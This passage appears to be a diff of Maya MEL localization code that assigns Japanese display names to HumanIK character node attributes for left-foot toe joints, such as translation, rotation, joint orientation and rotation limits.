"HIKCharacterNode", "LeftFootThumb4Tx", "左足親指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Ty", "左足親指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Tz", "左足親指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4R", "左足親指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Rx", "左足親指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Ry", "左足親指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Rz", "左足親指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4S", "左足親指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Sx", "左足親指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Sy", "左足親指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4Sz", "左足親指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", "左足親指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateAxis", "左足親指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateAxisx", "左足親指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateAxisy", "左足親指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4RotateAxisz", "左足親指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4JointOrient", "左足親指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4JointOrientx", "左足親指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4JointOrienty", "左足親指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4JointOrientz", "左足親指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimit", "左足親指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitx", "左足親指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimity", "左足親指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitz", "左足親指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimit", "左足親指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitx", "左足親指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimity", "左足親指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitz", "左足親指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitEnablex", "左足親指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitEnabley", "左足親指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MinRLimitEnablez", "左足親指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitEnablex", "左足親指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitEnabley", "左足親指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4MaxRLimitEnablez", "左足親指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1", "左足人差指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1T", "左足人差指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Tx", "左足人差指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Ty", "左足人差指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Tz", "左足人差指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1R", "左足人差指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Rx", "左足人差指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Ry", "左足人差指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Rz", "左足人差指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1S", "左足人差指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Sx", "左足人差指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Sy", "左足人差指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1Sz", "左足人差指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", "左足人差指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateAxis", "左足人差指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateAxisx", "左足人差指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateAxisy", "左足人差指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1RotateAxisz", "左足人差指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1JointOrient", "左足人差指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1JointOrientx", "左足人差指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1JointOrienty", "左足人差指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1JointOrientz", "左足人差指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimit", "左足人差指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitx", "左足人差指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimity", "左足人差指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitz", "左足人差指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimit", "左足人差指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitx", "左足人差指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimity", "左足人差指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitz", "左足人差指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitEnablex", "左足人差指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitEnabley", "左足人差指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MinRLimitEnablez", "左足人差指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitEnablex", "左足人差指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitEnabley", "左足人差指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex1MaxRLimitEnablez", "左足人差指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2", "左足人差指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2T", "左足人差指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Tx", "左足人差指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Ty", "左足人差指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Tz", "左足人差指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2R", "左足人差指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Rx", "左足人差指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Ry", "左足人差指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Rz", "左足人差指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2S", "左足人差指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Sx", "左足人差指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Sy", "左足人差指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2Sz", "左足人差指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", "左足人差指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateAxis", "左足人差指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateAxisx", "左足人差指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateAxisy", "左足人差指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2RotateAxisz", "左足人差指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2JointOrient", "左足人差指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2JointOrientx", "左足人差指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2JointOrienty", "左足人差指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2JointOrientz", "左足人差指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimit", "左足人差指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitx", "左足人差指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimity", "左足人差指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitz", "左足人差指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimit", "左足人差指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitx", "左足人差指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimity", "左足人差指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitz", "左足人差指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitEnablex", "左足人差指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitEnabley", "左足人差指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MinRLimitEnablez", "左足人差指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitEnablex", "左足人差指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitEnabley", "左足人差指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex2MaxRLimitEnablez", "左足人差指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3", "左足人差指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3T", "左足人差指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Tx", "左足人差指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Ty", "左足人差指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Tz", "左足人差指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3R", "左足人差指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Rx", "左足人差指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Ry", "左足人差指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Rz", "左足人差指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3S", "左足人差指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Sx", "左足人差指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Sy", "左足人差指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3Sz", "左足人差指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", "左足人差指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateAxis", "左足人差指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateAxisx", "左足人差指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateAxisy", "左足人差指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3RotateAxisz", "左足人差指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3JointOrient", "左足人差指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3JointOrientx", "左足人差指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3JointOrienty", "左足人差指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3JointOrientz", "左足人差指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimit", "左足人差指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitx", "左足人差指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimity", "左足人差指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitz", "左足人差指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimit", "左足人差指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitx", "左足人差指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimity", "左足人差指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitz", "左足人差指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitEnablex", "左足人差指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitEnabley", "左足人差指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MinRLimitEnablez", "左足人差指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitEnablex", "左足人差指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitEnabley", "左足人差指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex3MaxRLimitEnablez", "左足人差指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4", "左足人差指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4T", "左足人差指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Tx", "左足人差指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Ty", "左足人差指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Tz", "左足人差指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4R", "左足人差指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Rx", "左足人差指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Ry", "左足人差指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Rz", "左足人差指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4S", "左足人差指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Sx", "左足人差指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Sy", "左足人差指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4Sz", "左足人差指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", "左足人差指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateAxis", "左足人差指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateAxisx", "左足人差指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateAxisy", "左足人差指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4RotateAxisz", "左足人差指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4JointOrient", "左足人差指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4JointOrientx", "左足人差指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4JointOrienty", "左足人差指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4JointOrientz", "左足人差指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimit", "左足人差指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitx", "左足人差指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimity", "左足人差指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitz", "左足人差指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimit", "左足人差指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitx", "左足人差指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimity", "左足人差指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitz", "左足人差指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitEnablex", "左足人差指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitEnabley", "左足人差指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MinRLimitEnablez", "左足人差指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitEnablex", "左足人差指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitEnabley", "左足人差指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootIndex4MaxRLimitEnablez", "左足人差指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1", "左足中指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1T", "左足中指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Tx", "左足中指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Ty", "左足中指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Tz", "左足中指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1R", "左足中指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Rx", "左足中指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Ry", "左足中指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Rz", "左足中指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1S", "左足中指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Sx", "左足中指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Sy", "左足中指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1Sz", "左足中指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", "左足中指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateAxis", "左足中指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateAxisx", "左足中指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateAxisy", "左足中指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1RotateAxisz", "左足中指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1JointOrient", "左足中指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1JointOrientx", "左足中指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1JointOrienty", "左足中指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1JointOrientz", "左足中指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimit", "左足中指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitx", "左足中指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimity", "左足中指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitz", "左足中指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimit", "左足中指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitx", "左足中指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimity", "左足中指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitz", "左足中指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitEnablex", "左足中指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitEnabley", "左足中指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MinRLimitEnablez", "左足中指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitEnablex", "左足中指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitEnabley", "左足中指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle1MaxRLimitEnablez", "左足中指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2", "左足中指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2T", "左足中指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Tx", "左足中指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Ty", "左足中指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Tz", "左足中指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2R", "左足中指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Rx", "左足中指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Ry", "左足中指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Rz", "左足中指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2S", "左足中指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Sx", "左足中指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Sy", "左足中指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2Sz", "左足中指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", "左足中指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateAxis", "左足中指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateAxisx", "左足中指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateAxisy", "左足中指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2RotateAxisz", "左足中指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2JointOrient", "左足中指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2JointOrientx", "左足中指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2JointOrienty", "左足中指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2JointOrientz", "左足中指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimit", "左足中指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitx", "左足中指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimity", "左足中指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitz", "左足中指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimit", "左足中指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitx", "左足中指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimity", "左足中指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitz", "左足中指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitEnablex", "左足中指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitEnabley", "左足中指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MinRLimitEnablez", "左足中指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitEnablex", "左足中指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitEnabley", "左足中指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle2MaxRLimitEnablez", "左足中指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3", "左足中指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3T", "左足中指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Tx", "左足中指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Ty", "左足中指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3Tz", "左足中指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle3R", "左足中指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", 